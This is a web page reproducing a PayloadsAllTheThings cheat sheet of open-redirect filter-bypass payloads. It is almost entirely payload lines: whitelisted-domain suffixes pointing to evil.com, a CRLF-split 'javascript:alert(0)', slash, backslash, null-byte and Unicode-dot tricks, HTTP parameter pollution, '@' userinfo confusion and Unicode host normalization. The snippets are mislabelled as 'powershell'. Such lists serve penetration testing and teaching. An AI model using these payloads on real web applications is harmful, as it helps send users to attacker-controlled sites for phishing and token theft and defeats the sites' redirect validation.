Open Redirect: Filter Bypass

Open redirectExploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

  • Using a whitelisted domain or keyword

    powershell
    www.whitelisted.com.evil.com redirect to evil.com
  • Using CRLF to bypass "javascript" blacklisted keyword

    powershell
    java%0d%0ascript%0d%0a:alert(0)
  • Using "//" and "////" to bypass "http" blacklisted keyword

    powershell
    //google.com
    ////google.com
  • Using "https:" to bypass "//" blacklisted keyword

    powershell
    https:google.com
  • Using "\/\/" to bypass "//" blacklisted keyword

    powershell
    \/\/google.com/
    /\/google.com/
  • Using "%E3%80%82" to bypass "." blacklisted character

    powershell
    /?redir=google。com
    //google%E3%80%82com
  • Using null byte "%00" to bypass blacklist filter

    powershell
    //google%00.com
  • Using HTTP Parameter Pollution

    powershell
    ?next=whitelisted.com&next=google.com
  • Using "@" character. Common Internet Scheme Syntax

    powershell
    //<user>:<password>@<host>:<port>/<url-path>
    http://www.theirsite.com@yoursite.com/
  • Creating folder as their domain

    powershell
    http://www.yoursite.com/http://www.theirsite.com/
    http://www.yoursite.com/folder/www.folder.com
  • Using "?" character, browser will translate it to "/?"

    powershell
    http://www.yoursite.com?http://www.theirsite.com/
    http://www.yoursite.com?folder/www.folder.com
  • Host/Split Unicode Normalization

    powershell
    https://evil.c℀.example.com . ---> https://evil.ca/c.example.com
    http://a.com/X.b.com

Comments

No comments yet.